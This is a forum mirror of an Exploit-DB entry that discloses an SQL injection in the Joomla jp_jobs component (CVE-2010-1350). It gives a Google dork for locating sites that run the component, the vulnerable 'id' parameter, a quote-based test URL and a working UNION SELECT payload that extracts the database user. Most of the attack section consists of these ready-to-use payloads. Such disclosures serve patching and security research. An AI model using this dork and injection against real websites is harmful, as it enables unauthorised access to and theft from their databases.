- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 12037
- Проверка EDB
-
- Пройдено
- Автор
- VALENTIN
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2010-1350
- Дата публикации
- 2010-04-03
Код:
:: General information
:: Joomla component jp_jobs SQL Injection vulnerability
:: by Valentin Hoebel
:: [email protected]
:: Product information
:: Name = jp_jobs
:: Vendor = Joomla! Projects
:: Vendor Website = http://www.joomlanetprojects.com/
:: About the product = http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11163
:: Affected versions = All, latest one is 1.4.1
:: Google dork: "inurl:index.php?option=com_jp_jobs"
:: SQL Injection vulnerability
The component is extremly useful when it comes down to implementing some sort of job portal into your Joomla website.
Injecting SQL commands while viewing details about a job is possible.
Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id=1
Test URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id='
Exploit vulnerability, e.g. by displaying the MySQL user:
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+concat(user())--- Источник
- www.exploit-db.com
